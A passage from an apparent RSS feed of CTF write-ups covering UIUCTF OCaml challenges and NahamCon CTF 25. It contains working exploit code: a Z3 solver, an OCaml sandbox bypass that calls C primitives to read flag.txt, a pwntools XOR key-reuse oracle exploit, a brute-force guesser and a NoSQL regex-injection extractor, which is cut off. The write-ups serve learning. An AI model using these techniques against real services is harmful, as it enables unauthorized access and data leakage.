&quot;&quot;).replace(&quot;,&quot;, &quot;&quot;).replace(&quot;&#39;&quot;, &quot;&quot;)<br> <br>        # px_t member<br>        px_t = data[-1]<br>        px_t = p_dict[px_t]<br>        members = data[:-1]<br>        for j in range(len(members)):<br>            members[j] = flag[members[j]]<br>        group.append(check_px_t(px_t, members))<br>  <br>    #print(And(*group))<br>    return And(*group)<br><br>def check_px_t(px_t, nominee): # p1_t = F T T T<br>    equality = [px_t[i] == nominee[i] for i in range(len(px_t))]<br> <br>    res = Or(*equality)<br> <br>    return res<br><br>s = Solver()<br>s.add(parse_group(raw_input) == True)</pre><p>Now that we’re done adding our constraints time to let it rip and see if it is even satisfiable!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Ul4aO2o1ySrB5JmL-M5jA.png" /></figure><h4>Final solution:</h4><pre>raw_input = &quot;&quot;&quot;<br> (&#39;a, &#39;flag_016, &#39;flag_038, &#39;flag_040) p1_t *<br> (&#39;a, &#39;flag_016, &#39;flag_038, &#39;flag_040) p2_t *<br> (&#39;a, &#39;flag_016, &#39;flag_038, &#39;flag_040) p3_t *<br> (&#39;a, &#39;flag_016, &#39;flag_038, &#39;flag_040) p4_t *<br>…<br> (&#39;a57) p1435_t<br>&quot;&quot;&quot;<br>raw_px_t = &quot;&quot;&quot;<br>type (&#39;a, &#39;b, &#39;c, &#39;d) p1_t =<br> | P1_1 : b_true val_t -&gt; (&#39;a, b_true, &#39;c, &#39;d) p1_t<br> | P1_2 : b_true val_t -&gt; (&#39;a, &#39;b, b_true, &#39;d) p1_t<br> | P1_3 : b_true val_t -&gt; (&#39;a, &#39;b, &#39;c, b_true) p1_t<br> | P1_4 : b_true val_t -&gt; (b_false, &#39;b, &#39;c, &#39;d) p1_t<br>…<br>type (&#39;a) p1435_t =<br> | P1435_1 : b_true val_t -&gt; (b_false) p1435_t<br>&quot;&quot;&quot;<br><br>def make_vars():<br>    flag = {}<br><br>    for i in range(104):<br>    var_name = &#39;flag_&#39; + str(i).rjust(3, &#39;0&#39;)<br>    flag[var_name] = BitVec(var_name, 1)<br><br>    for i in range(1, 148):<br>    var_name = &#39;a&#39; + str(i)<br>    flag[var_name] = BitVec(var_name, 1)<br><br>    for i in range(97, 123):<br>    var_name = chr(i)<br>    flag[var_name] = BitVec(var_name, 1)<br><br>    return flag<br><br>flag = make_vars()<br><br>def make_constraints(raw_string):<br>    chunks = raw_string.split(&quot;type &quot;)<br>    chunks = chunks[1:]<br>    filtered = []<br>    p_dict = {}<br>    for i in range(len(chunks)):<br>        data = chunks[i].lstrip().rstrip().split(&#39;\n&#39;)<br>        data[0] = data[0].replace(&#39;=&#39;, &quot;&quot;).lstrip().rstrip()<br>        temp = data[0].split(&quot; &quot;)<br>        data[0] = temp[-1]<br>        key = data[0]<br>        value = [0] * (len(data)-1)<br>        for j in range(1, len(data)):<br>            rules = data[j].split(&quot; &quot;)<br>            rules = rules[8:12]<br> <br>        for k in range(len(rules)):<br>            if &#39;b_true&#39; in rules[k]:<br>              value[k] = 1<br>            if &#39;b_false&#39; in rules[k]:<br>              value[k] = 0<br>        <br>        p_dict[key] = value<br><br>    return p_dict<br><br>p_dict = make_constraints(raw_px_t)<br># pprint(p_dict)<br><br>def parse_group(input):<br>    group = []<br>    <br>    lines = input.split(&#39;*&#39;)<br>    for i in range(len(lines)):<br>        lines[i] = lines[i].lstrip()<br>        lines[i] = lines[i].rstrip()<br>    <br>    if lines[-1] == &quot;&quot;:<br>        lines = lines[:-1]<br> <br>    for i in range(len(lines)):<br>        data = lines[i].split(&quot; &quot;)<br>        for j in range(len(data)):<br>            data[j] = data[j].replace(&quot;(&quot;, &quot;&quot;).replace(&quot;)&quot;, &quot;&quot;).replace(&quot;,&quot;, &quot;&quot;).replace(&quot;&#39;&quot;, &quot;&quot;)<br> <br>        # px_t member<br>        px_t = data[-1]<br>        px_t = p_dict[px_t]<br>        members = data[:-1]<br>        for j in range(len(members)):<br>            members[j] = flag[members[j]]<br>        group.append(check_px_t(px_t, members))<br>  <br>    #print(And(*group))<br>    return And(*group)<br><br>def check_px_t(px_t, nominee): # p1_t = F T T T<br>    equality = [px_t[i] == nominee[i] for i in range(len(px_t))]<br> <br>    res = Or(*equality)<br> <br>    return res<br><br>s = Solver()<br>s.add(parse_group(raw_input) == True)<br><br>def bits_to_ascii(bit_string):<br>    flag = &quot;&quot;<br>    for i in range(0, 104, 8):<br>        val = int(bit_string[i:i+8], 2)<br>        flag+=chr(val)<br>    return flag<br>  <br>bit_string = &quot;&quot;<br>if s.check() == sat:<br>    m = s.model()<br>    for i in range(104):<br>        bit = m[flag[&#39;flag_%.3d&#39; % i]].as_long()<br>        print(bit, end=&quot;&quot;)<br>        bit_string+=str(bit)<br>    print()<br>    print(f&quot;Decoded bit string: {bits_to_ascii(bit_string)}&quot;)<br>else:<br>  print(&quot;unsat&quot;)</pre><p><strong>Final flag:</strong> uiuctf{sat_on_a_caml}</p><h4>Something to think about: Why does challenge say flag will be printed to stderr?</h4><p>This is like a bonus section, but very important to understand how this challenge works under the hood and more importantly why it takes so long to compile.</p><p>After our first failed attempt to get the flag, I started wandering in different rabbit holes <strong>and one question that prompted in my head was <br><em>“Why does the challenge say that the flag will be printed out in stderr?”</em></strong></p><p>Even if the script takes too long why stderr and not stdout. So I decided to explore a bit and using some of the conditions from the original ocaml file <strong>I decided to build another toy ocaml file to play around the code a little bit.</strong></p><p>Since there were a lot of type definitions and constraints in the original file, I decided to put only a handful to test out how things play out, here’s the toy file:</p><pre>type b_true<br>type b_false<br>type _ val_t =<br> | T : b_true val_t<br> | F : b_false val_t<br>type (&#39;a, &#39;b, &#39;c, &#39;d) p1_t =<br> | P1_1 : b_true val_t -&gt; (&#39;a, b_true, &#39;c, &#39;d) p1_t<br> | P1_2 : b_true val_t -&gt; (&#39;a, &#39;b, b_true, &#39;d) p1_t<br> | P1_3 : b_true val_t -&gt; (&#39;a, &#39;b, &#39;c, b_true) p1_t<br> | P1_4 : b_true val_t -&gt; (b_false, &#39;b, &#39;c, &#39;d) p1_t<br>type (&#39;a, &#39;b, &#39;c, &#39;d) p2_t =<br> | P2_1 : b_true val_t -&gt; (&#39;a, b_true, &#39;c, &#39;d) p2_t<br> | P2_2 : b_true val_t -&gt; (b_false, &#39;b, &#39;c, &#39;d) p2_t<br> | P2_3 : b_true val_t -&gt; (&#39;a, &#39;b, b_false, &#39;d) p2_t<br> | P2_4 : b_false val_t -&gt; (&#39;a, &#39;b, &#39;c, b_false) p2_t<br>type (&#39;a, &#39;b, &#39;c, &#39;d) p3_t =<br> | P3_1 : b_true val_t -&gt; (&#39;a, &#39;b, b_true, &#39;d) p3_t<br> | P3_2 : b_false val_t -&gt; (b_false, &#39;b, &#39;c, &#39;d) p3_t<br> | P3_3 : b_true val_t -&gt; (&#39;a, b_false, &#39;c, &#39;d) p3_t<br> | P3_4 : b_true val_t -&gt; (&#39;a, &#39;b, &#39;c, b_false) p3_t<br>type puzzle =<br> Puzzle :<br> &#39;flag_000 val_t *<br> &#39;flag_001 val_t *<br> (&#39;a, &#39;flag_000, &#39;flag_001, &#39;flag_002) p1_t *<br> (&#39;a, &#39;flag_000, &#39;flag_001, &#39;flag_002) p2_t *<br> (&#39;a, &#39;flag_000, &#39;flag_001, &#39;flag_002) p3_t<br> -&gt; puzzle<br>let check1 (f: puzzle) = function<br> | Puzzle _ -&gt; .<br> | _ -&gt; ()</pre><p>If we focus on the last 3 lines where we define a function check which takes an argument f of type puzzle, and it returns a function which tries to pattern match constructor Puzzle with _. The . in Ocaml is very interesting because it represents a refutation case in Ocaml, <strong>it’s a way of telling the Ocaml compiler that <em>“Prove that this branch is impossible to reach if a type puzzle is passed as an argument”</em>.</strong></p><p>Since the value we passed is indeed of type puzzle, the only way to prove it is impossible to reach is to prove that the constructor Puzzle is invalid or that there is no combination of type variables which satisfy this type. <strong>The way the Ocaml compiler deals with this is by trying to find a solution to determine if it is actually unreachable and if there is a solution it prints out the combination in stderr.</strong></p><p>And since the challenge is designed in a way that it has a solution, this is what we get when we try to compile our toy ocaml file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*aZ7POhFg7QPorWjb-qallA.png" /></figure><p>This represents a valid combination of types, which in our case would be the bit representation of all the flag type variables. But since, in our original problem we have a massive tuple with a ton of conditions, the Ocaml compiler tries every possible combination to refute that this branch is impossible which takes forever, <strong>therefore the goal is to optimize this using Z3 and get the flag!</strong></p><h3>Challenge #2: Nocaml</h3><h4>Category: misc<br>Author: n8</h4><p>This was another Ocaml challenge in the miscellanous category in the CTF, but sadly I could only solve this after the CTF ended. Nevertheless this was another cool challenge which made me dig around Ocaml a bit more to finally get the flag.</p><p>The challenge prompt is simple “just cat the flag” using your Ocaml script but there’s a small problem in doing that since <strong>the given challenge file starts by setting everything to null, making all the standard library functions impossible to use.</strong> Functions such as open_in (Open file), print_endline (write) are basically useless now. The challenge script also sets a lot of core modules like <strong>Stdlib, Printf</strong> to empty structs which makes them unusable and since most of the I/O functions are defined in Stdlib we’re pretty much cooked without it.</p><pre>let stdin = ()<br>let stdout = ()<br>let stderr = ()<br>let print_char = ()<br>let print_string = ()<br>let print_bytes = ()<br>let print_int = ()<br>let print_float = ()<br>let print_endline = ()<br>let print_newline = ()</pre><pre>module Stack = struct end<br>module StdLabels = struct end<br>module Stdlib = struct end<br>module String = struct end<br>module StringLabels = struct end<br>module Sys = struct e</pre><p>But since most of these library functions rely on some sort of lower-level C functions to execute, we can still craft our exploit by directly calling into those lower-level functions. During the CTF I had a hard time finding documentation for these functions and gave up on this challenge, <strong>but after peeking at the source code I realized this challenge is not that hard.</strong></p><h3>Solution</h3><p>As I said earlier, <strong>instead of relying on the library functions we need to make our own custom functions which mimic their functionality and call into the lower-level C functions.</strong> Let’s look at how the library functions are defined in the first place in Ocaml source code: <a href="https://github.com/ocaml/ocaml/blob/trunk/stdlib/stdlib.ml">https://github.com/ocaml/ocaml/blob/trunk/stdlib/stdlib.ml</a></p><p>Let’s dissect how a stdlib function is defined:</p><pre>external output_char : out_channel -&gt; char -&gt; unit = &quot;caml_ml_output_char&quot;</pre><p>If you’re unfamiliar with the Ocaml syntax, let me break it down for you. In Ocaml the function definition starts with the <strong>function_name</strong> and then the type of the parameters it takes separated by a <strong>colon</strong> and -&gt;, and the last type parameter is for the <strong>function output</strong>. So this essentially defines a function called output_char which takes 2 args.: first one of type out_channel <strong>(similar to a file_descriptor)</strong> and second one a character <strong>(char to print)</strong> and it returns a value of type unit which similar to return void in C.</p><p>The external keyword helps Ocaml interface with C functions and I think in this case it uses a lower-level C function called <strong>caml_ml_output_char</strong>.</p><p>Now that we know how it works let’s try to replicate the same logic using our custom functions. Before making our custom functions <strong>let’s see how to open/read/write files in Ocaml if these restrictions were not in place to know what things we need to replace.</strong></p><pre>let file = &quot;flag.txt&quot;<br>let () =<br>let ic = open_in file in<br>while true do<br> let char = input_char ic in<br> output_char stdout char;<br> done</pre><p>From this we know we at least need custom definitions for <strong>open_in</strong>, <strong>input_char</strong>, <strong>output_char</strong>, and <strong>stdout</strong>.</p><h4>Making our custom functions</h4><ul><li>We can easily replace input_char and output_char with <strong>custom_input_char</strong> and <strong>custom_output_char</strong> respectively as a like-to-like replacement.</li><li>Looking at the source code open_in recursively keeps using other library functions which are also disabled, so we need to define all of them again. open_in uses open_in_gen which uses open_descriptor_in, open_desc and set_in_channel_name.</li><li>Finally those smelly nerds didn’t even leave stdout, so we need to re-define a <strong>custom_stdout</strong> which uses a <strong>custom_open_descriptor_out</strong>.</li></ul><h4>Final solution</h4><pre>let file = &quot;flag.txt&quot;<br><br>external custom_input_char : in_channel -&gt; char = &quot;caml_ml_input_char&quot;<br>external custom_output_char : out_channel -&gt; char -&gt; unit = &quot;caml_ml_output_char&quot;<br><br>type open_flag =<br> Open_rdonly | Open_wronly | Open_append<br> | Open_creat | Open_trunc | Open_excl<br> | Open_binary | Open_text | Open_nonblock<br><br>external custom_open_desc : string -&gt; open_flag list -&gt; int -&gt; int = &quot;caml_sys_open&quot;<br>external custom_open_descriptor_in : int -&gt; in_channel = &quot;caml_ml_open_descriptor_in&quot;<br>external custom_open_descriptor_out : int -&gt; out_channel = &quot;caml_ml_open_descriptor_out&quot;<br>external custom_set_in_channel_name: in_channel -&gt; string -&gt; unit = &quot;caml_ml_set_channel_name&quot;<br><br>let custom_open_in_gen mode perm name =<br> let c = custom_open_descriptor_in(custom_open_desc name mode perm) in<br> custom_set_in_channel_name c name;<br> c<br><br>let custom_open_in name =<br> custom_open_in_gen [Open_rdonly; Open_text] 0 name<br><br>let custom_stdout = custom_open_descriptor_out 1<br><br>let () =<br><br>  let ic = custom_open_in file in<br><br>  try<br>    while true do<br>      let char = custom_input_char ic in<br>      custom_output_char custom_stdout char;<br>    done<br>  with End_of_file -&gt; ()</pre><p>Thank you for reading it, if you made it this far and have a great day! 😅</p><h3>References</h3><ul><li><strong>Static Typing in Ocaml:</strong> <a href="https://www2.lib.uchicago.edu/keith/ocaml-class/static.html">https://www2.lib.uchicago.edu/keith/ocaml-class/static.html</a></li><li><strong>Detailed info on GADT’s:</strong> <a href="https://dev.realworldocaml.org/gadts.html">https://dev.realworldocaml.org/gadts.html</a></li><li><strong>Some discussion on Ocaml pattern matching: </strong><a href="https://discuss.ocaml.org/t/in-pattern-matching/2676">https://discuss.ocaml.org/t/in-pattern-matching/2676</a></li><li><strong>Ocaml stdlib source code:</strong> <a href="https://github.com/ocaml/ocaml/blob/trunk/stdlib/stdlib.ml">https://github.com/ocaml/ocaml/blob/trunk/stdlib/stdlib.ml</a></li><li><strong>A bit about CTF Academy: </strong><a href="https://ctf.asu.edu/education/ace-ctf-academy/">https://ctf.asu.edu/education/ace-ctf-academy/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=303a2eb5551a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NahamCon CTF 25 Writeup]]></title>
            <link>https://medium.com/@nikhilc2209/nahamcon-ctf-25-writeup-e96b7ffff33d?source=rss-b6aecb4000e9------2</link>
            <guid isPermaLink="false">https://medium.com/p/e96b7ffff33d</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[nahamcon-ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Nikhil Chapre]]></dc:creator>
            <pubDate>Fri, 30 May 2025 08:58:53 GMT</pubDate>
            <atom:updated>2025-05-30T09:00:09.027Z</atom:updated>
            <content:encoded><![CDATA[<p>Been a really really long time now that I’ve written anything on Medium, mostly been busy with my Master’s coursework so didn’t have much time to really write about anything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n1nTB0jgjlcMWTsEfjNYFg.png" /></figure><p>Finally found some time after the semester break so I decided to play NahamCon CTF with my University’s CTF team under the banner of CTF Academy. It was a 48-hour CTF and we did well on both the days, maintaining our top 30 position but slipped to #54 at the end, but regardless of the result it was my first live CTF and was a ton of fun collaborating with everyone also big shoutout to <strong>x3ero0 from Shellphish</strong> for his guidance during the CTF. Now that all of that is put away let’s dive into some cool challenges:</p><h3>Challenge #1: CryptoClock</h3><p><strong>Category: crypto</strong></p><p><strong>Author: JohnHammond</strong></p><p>A pretty straightforward crypto challenge, took some time to understand the server code but then we realized that it’s a classic case of key reuse attack.</p><h4>Server Code logic</h4><p>If we look at the server code for this challenge, it uses sockets to accept connections from multiple clients, once connected to a client it opens the flag.txt file generates a key using generate_key function and calls an encrypt function which literally takes two byte strings as inputs and XOR’s them to give an encrypted output. Now let’s look at how the key is being generated:</p><pre>def generate_key(length: int, seed: Optional[float] = None) -&gt; bytes:<br>    &quot;&quot;&quot;Generate a random key of given length using the provided seed.&quot;&quot;&quot;<br>    if seed is not None:<br>        random.seed(int(seed))<br>    return bytes(random.randint(0, 255) for _ in range(length))</pre><p>So generate_key takes two inputs: one is length and the other one is a random seed and it outputs a random key of the given length. Now let’s look at how the seed is being generated:</p><pre>current_time = int(time.time())<br>key = generate_key(len(flag), current_time)</pre><p>So the random seed being used is based on the current time the request has been made, which means that at every request the key should be unique <strong><em>IF IMPLEMENTED CORRECTLY!</em></strong> We’ll come back to this statement once we uncover rest of the server code.</p><h4>ENCRYPTION ORACLE</h4><p>Interestingly, <strong>server gives you the encrypted flag in hex format</strong> and also provides an encryption oracle where you can encrypt any string with the same logic, the encryption oracle runs in a while loop and does two things every time you provide a plaintext:</p><ul><li>generate a new random key using generate_key function using length of data we provide and the current_time.</li><li>use this newly generated random key to encrypt the data that we provided and return the encrypted string.</li></ul><pre>while True:<br>    data = client_socket.recv(1024).strip()<br>    if not data:<br>        break<br><br>    if data.lower() == b&#39;quit&#39;:<br>        break<br><br>    key = generate_key(len(data), current_time)<br>    encrypted_data = encrypt(data, key)<br><br>    response = b&quot;Encrypted: &quot; + encrypted_data.hex().encode() + b&quot;\n&quot;<br>    client_socket.send(response)</pre><blockquote>At first glance everything looks fine as we sample the random key at every request and there should be no way for the attacker to get the key. But there is one small problem, and that is <strong>we don’t refresh our current time variable</strong> which renders this whole approach useless.</blockquote><h4>ATTACK VECTOR</h4><p>Now that we know that our random seed is not so-random we can try to manipulate it in such a way as to make the oracle give us the random key. As discussed earlier the key depends on length of data provided(this is user-controlled) and the current_time variable which is constant for every consequent request, this means that if we send a string as the same length as the original flag(38 bytes) the server will use the exact same key to encrypt our new query. Now we’re almost done with the exploit and just need to extract the key from the oracle, there are 2 simple ways we can do this:</p><ul><li>send a random payload of 38 bytes (length of actual flag) and XOR the encrypted response back with our query to get the key.</li><li>Or just send a payload with 38 null bytes (b’\x00&#39;) as the query and the encrypted response will be our key.</li></ul><blockquote><strong>The whole exploit relies on two properties of XOR:</strong></blockquote><blockquote><strong>XOR is self-inverting: A ^ B = C which implies B ^ C = A.<br>any number XOR 0 returns the number itself: A ^ 0 = A</strong></blockquote><blockquote><strong>So sending a payload full of null bytes, gets encrypted with the key and we get the key in return.</strong></blockquote><p>This is how the final exploit looks like:</p><pre>from pwn import *<br><br>host = &quot;challenge.nahamcon.com&quot;<br>port = 30714<br><br>r = remote(host, port)<br><br>r.recvline()<br>enc_flag = r.recvline()[:-1]<br>enc_flag = enc_flag.split(b&#39;is: &#39;)[1]        # get the encrypted flag<br><br>r.sendline(b&#39;\x00&#39;*38)<br><br>r.recvline()<br><br>key = r.recvline()[:-1]<br>key = key.split(b&#39;Encrypted: &#39;)[1]           # get the key<br><br>flag = int(enc_flag, 16) ^ int(key, 16)      # XOR both to get the flag<br>print(bytes.fromhex(hex(flag)[2:]))<br><br>r.interactive()</pre><h3>Challenge #2: Deflation Gangster</h3><p><strong>Category: rev</strong></p><p><strong>Author: Kkevsterrr</strong></p><p>So this was a weird rev challenge, which I tried for an hour or so and realized was straight up stupid. So the challenge gives you gangster.zip which you can download locally. After unzipping it we get a directory named important_docs which contains a single file called important_docs.lnk.</p><p>After googling and a bit of asking around the lab I realized that it is a windows shortcut file and it works in a similar way to a symlink in a linux environment. So I downloaded it in my windows environment and started looking where it points to and does it run with any arguments. And I found that the shortcut file loads up powershell.exe and that’s it, no arguments. I also looked at other strings inside the file and among a bunch of random strings, I found one that points to chrome.exe. Since the shortcut file was pretty small looked at it in a hex editor but still nothing, not even something that resembles an encrypted flag. At this point I was completely lost and didn’t know what to do. I made an assumption and thought maybe the shortcut tries to open powershell and pass chrome as an argument with a URL where the flag is, but as of now the binary does not work and we have to patch it to make sure it works. Looking in hindsight that felt like a great assumption for a medium level rev challenge but this was not the solution.</p><p>The solution was incredibly stupid, because someone at the lab actually decided to look at the zip file and he found a base64 encrypted string which had the flag. 🤦‍♂️</p><h3>Challenge #3: I Want Pie</h3><p><strong>Category: misc</strong></p><p><strong>Author: kkevsterrr</strong></p><p>Pretty fun and probably my favorite challenge from this CTF, banged my head over this for a long time but then I realized the hint was right in front of me all this time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ke9UNCJvvauM6tzcUesKRw.png" /></figure><p>So the main part of the challenge website has a file upload form which expects images with a PNG format, but if you input a PNG image it says:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e1ilvTEZlPReonWxVAV9fQ.png" /></figure><p>ppm pie definitely refers to .ppm image format, so I tried putting a random ppm image and I got a new error message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fTKl-fkAESmB6JUTckQ3hw.png" /></figure><p>My assumption from this error message was that it tries to execute some bytes from the ppm file but it wasn’t able to run some bytes as instructions and that’s why it crashed and we get a server error.</p><p>So my next step was to make a <strong>fake</strong> .ppm file by faking the metadata and then put some shellcode which prints out something to confirm our assumption is correct. When I do this I just get the error message below, my assumption looking at this was that it is able to run the bytes that I gave but I’m not sure why it’s not printing out anything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wgi-7ENOl8T8fGSAl8iBng.png" /></figure><p>I tried some different architectures but still no luck, looking at the challenge name <strong>(PIE)</strong> I thought it treats the .ppm file as an ELF binary with PIE enabled and tries to run it on server-side. So I made another script to inject .ppm header metadata along with an ELF binary which prints something, but still no luck. Tried to match the header metadata with the number of bytes that I’m actually sending so that it’s a valid file but nothing.</p><p>Looked at and tried random stuff for a couple more hours, my next hunch was that it maybe runs some custom architecture on the server-side which expects different bytes, but didn’t find any information about it on the challenge website. Finally decided to take a break and thought of giving up. Made some dinner and decided to look at the challenge again, and decided to read the challenge prompt again.</p><blockquote><strong>If I eat one more piece of pie, I’ll die!</strong></blockquote><blockquote><strong>If I can’t have one more piece of pie, I’ll die!</strong></blockquote><blockquote><strong>So since it’s all decided I must die,</strong></blockquote><blockquote><strong>I might as well have one more piece of pie(t).</strong></blockquote><blockquote><strong>As long executing that piece of pie prints out `flag, oh my`,</strong></blockquote><blockquote><strong>MMMM–OOOH–MY!</strong></blockquote><blockquote><strong>Chomp–Gulp–‘Bye.</strong></blockquote><p>This is when I noticed that pie(t) has an<strong> extra </strong><strong>t</strong> with it, and I saw the same on other parts of the website as well, so I looked up PIET on google and in one of the searches I found an esoteric language called PIET and <strong>bingo!</strong></p><p>The server side has a PIET compiler and tries to execute your PIET code, only one problem now how the heck do you write PIET code and even if you know how to write PIET, what do you do really execute?</p><p>Luckily the challenge prompt again has information about this, as it says in the 5th line your piece of pie should print “flag, oh my”. So I looked up how to write PIET code and it blew my mind, the code you write is literally a ppm file where the color code represents different instructions on the stack! I suddenly realized I have to figure out all the instructions and I may have to write a whole damn assembler to print out what is required! But then I searched up internet and I found this <a href="https://github.com/sebbeobe/piet_message_generator">github</a> which was literally a godsend as it <strong>converts a user-input string to a PIET program</strong> which prints out that string upon execution</p><p><strong>BOOM!</strong> 🔥 this is exactly what I wanted, so I cloned the repo and generated my image locally which prints out what is required, also there is an online debugger which I used to confirm what I printed out was correct and it did!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/137/1*hxlt1qCmufqhbrp5NrPdCQ.png" /><figcaption>.ppm image that prints ‘flag, oh my’</figcaption></figure><p>Finally I put my image to the server and I realized the repo outputs .png files while the server only executes .ppm file, so I tried changing the name of file from .png to .ppm. The upload succeeded but it still didn’t print out anything. This was just a minor inconvenience though, as I realized maybe the server also checks if the .ppm file has valid metadata along with the file extension, so instead of outputting .png I made it output .ppm and then submitted the file.</p><p>AND BAMMMM! got the freakin’ flag 🍞</p><h3>Challenge #4: Flagdle</h3><p><strong>Category: misc</strong></p><p><strong>Author: HuskyHacks</strong></p><p>A cool and straightforward scripting challenge, the challenge theme is around the game <strong>Wordle</strong> (I assume you don’t live under a rock and know what it is).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*R_e0nMt4NWgf--8okvTPnw.png" /></figure><p>The aim is simple, send your guess to /guess endpoint and check the response to figure out which characters you got right and are in the right place (🟩), which characters you got right but are in the wrong place (🟨) and lastly which flag characters are not in the flag (⬛).</p><p>Since the flag characters can only be in this format <strong>flag\{[0–9a-f]{32}\}</strong> we just need to bruteforce 32 chars each char having 16 possible combinations which is like sending 512 requests in the worst case. This is my final exploit:</p><pre>guess = [&#39;a&#39;]*32         # dummy char list<br><br>for i in range(32):<br><br>    flag = &quot;flag{&quot; + &#39;&#39;.join(guess) + &quot;}&quot;<br>    myobj = {&quot;guess&quot;: flag}<br><br>    chars = &quot;0123456789abcdef&quot;<br>    j=0<br><br>    x = requests.post(url, json = myobj)<br>    d = json.loads(x.text)<br><br>    print(d[&quot;result&quot;])<br><br>    while d[&quot;result&quot;][i] != &quot;🟩&quot; :<br>        guess[i] = chars[j]<br>        print(guess[i])<br>        print(d[&quot;result&quot;])<br>        j+=1<br><br>        flag = &quot;flag{&quot; + &#39;&#39;.join(guess) + &quot;}&quot;<br>        myobj = {&quot;guess&quot;: flag}<br><br>        x = requests.post(url, json = myobj)<br>        d = json.loads(x.text)<br><br>    print(chars[j])<br><br>print(&#39;&#39;.join(guess))</pre><h3>Challenge #5: Taken to School</h3><p><strong>Category: OSINT</strong></p><p><strong>Author: Jstith</strong></p><p>OSINT is not my cup of tea and this challenge very much proves that, although labeled as an easy challenge the contents of the given file was very confusing for a pretty long time. Following is the prompt for the challenge along with a network-log.cef file.</p><pre>&quot;I was reading the news this week, and I saw that a student tried to hack a school&#39;s computer system!&quot; a worried professor remarked to an IT employee during lunch. &quot;I&#39;m glad we&#39;ve got people like you keeping our network safe.&quot; While Bob the IT admin appreciated the warm comment, his stomach dropped. &quot;Dang it.. I haven&#39;t checked that firewall since we set it up months ago!&quot;.  <br>  <br>IT has pulled a log file of potentially anomalous events detected by the new (albeit poorly tuned) network security software for your school. Based on open-sourced intelligence (OSINT), identify the anomalous entry in the file.  <br>  <br>Each log entry contains a single line, including an MD5 hash titled `eventHash`.  <br>  <br>The challenge flag is `flag{MD5HASH}` containing the `eventHash` of the anomalous entry.</pre><p>Looking at the network log file directly was hard since there are 500 lines of logs each pertaining to different events at different times and it was obvious that we need some way to parse it into something more readable and understandable. The file extension is .cef (Common Event Format) and it’s a popular industry standard log format for logging security information from a device. You can read a bit more about the .cef header data over <a href="https://www.microfocus.com/documentation/arcsight/arcsight-smartconnectors-8.3/cef-implementation-standard/Content/CEF/Chapter%201%20What%20is%20CEF.htm">here</a>.</p><p>So to analyze the file better I decided to dump the data from the log file into a <strong>csv</strong> so I can load it in python and pull up all sorts of insights into the data.</p><p>Some of the initial observations I made after loading the csv in Colab:</p><ul><li>Every entry in src ip is <strong>unique.</strong></li><li>Every entry in event hash is also <strong>unique.</strong></li><li>There are no multiple login attempts at the same time stamp so <strong>no brute-force attack either.</strong></li><li><strong>math.dept</strong> has the highest number of login attempts(11), 2–3 of them succeeded but they are accessing different services with different credentials so another dead end.</li></ul><p>Some of the things that I tried to do, to confirm my suspicions:</p><ul><li>Ran a python script to <strong>check all the src IP’s on AbuseIPDB</strong> using their API for malicious IP’s but all of them looked fine. (In hindsight this should have worked)</li><li>Ran a python script to check all the event hashes, if they’re associated with any malicious signatures, but nothing.</li><li>Tried sorting the whole DB by severity score and tried checking allowed attempts, but still nothing.</li><li>Tried filtering student login attempts with suspicious file downloads like gradebook and quiz answers but no luck.</li></ul><p>I spent a great deal of time trying to find some pattern in the data which would deterministically show the most anomalous entry in the logs, but then I gave up after a bit. Luckily, someone else from the team picked up this problem and after haggling around with the data for a bit, they took a more <strong>OSINT-based approach</strong> and started looking for real-world hacks which resemble this attack.</p><p>A 19-year old student named Matthew Lane pulled this off after gaining access to internal Powerschool systems by taking advantage of leaked credentials and a misconfigured firewall. This <a href="https://databreaches.net/2025/01/08/powerschool-discloses-breach-affecting-hosted-and-self-hosted-school-k-12-districts/">article</a> goes in detail about the attack and also releases the <strong>IP (91.218.50.11)</strong> used to run the attack at a very odd time which was very suspicious. Matching the IP with the entry in our log file we get the event hash which is also our flag. Kudos to <strong>DeathBurger</strong> from our team for putting an end to our collective misery behind this challenge.</p><h3>Challenge #6: NoSequel</h3><p><strong>Category: web</strong></p><p><strong>Author: HuskyHacks</strong></p><p>pretty interesting challenge name which gives away an obvious hint that the data being stored for this challenge is <strong>some sort of NoSQL database.</strong> The main webpage has a search functionality which looks something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*31QCPfY1EzXhU7pp93t8bA.png" /></figure><p>So the database has 2 collections: Movies and Flags, and it also provides some sample queries which we can try to confirm how the data has been stored. We can use some cool NoSQL queries to make our task easier, the basic idea is to check if the query is valid on Movies collection and then try to get the flag in Flags collection.</p><p><strong>Docs for NoSQL queries:</strong></p><p><a href="https://backand-docs.readthedocs.io/en/latest/apidocs/nosql_query_language/index.html">NOSQL Query Language</a></p><p>One small problem, unlike the Movies collection we do not know the field values for the Flags collection. During the CTF I assumed the Flags collection to have a field named flag which would contain the actual flag and that was pretty spot on!</p><p>Now we have to figure out a way to get the flag, because even if our field value is correct the server only tells us if our query matched with an entry or not and does not expose the data from the database. But we can easily get around this as we know the flag format is: <strong>flag\{[0–9a-f]{32}\}</strong>. We can use our forgotten friend regex, to craft queries using python and <strong>if the query is accepted we can leak out the flag character by character.</strong></p><p>Since we know the the first 5 chars of the flag and the last char we just need to brute-force 32 chars. with 16 different combinations which is again like sending 512 requests in the worst case. Keeping everything in mind here is our final exploit:</p><pre>from pwn import *<br>import requests<br><br>chars = &#39;0123456789abcdef&#39;<br><br>flag = &#39;flag{&#39;<br>url = &#39;http://challenge.nahamcon.com:30459/search&#39;<br><br>while len(flag) &lt; 37:<br>    i=0<br>    for i in range(len(chars)):<br>        data = {&quot;query&quot;: f&quot;flag: {{$regex: 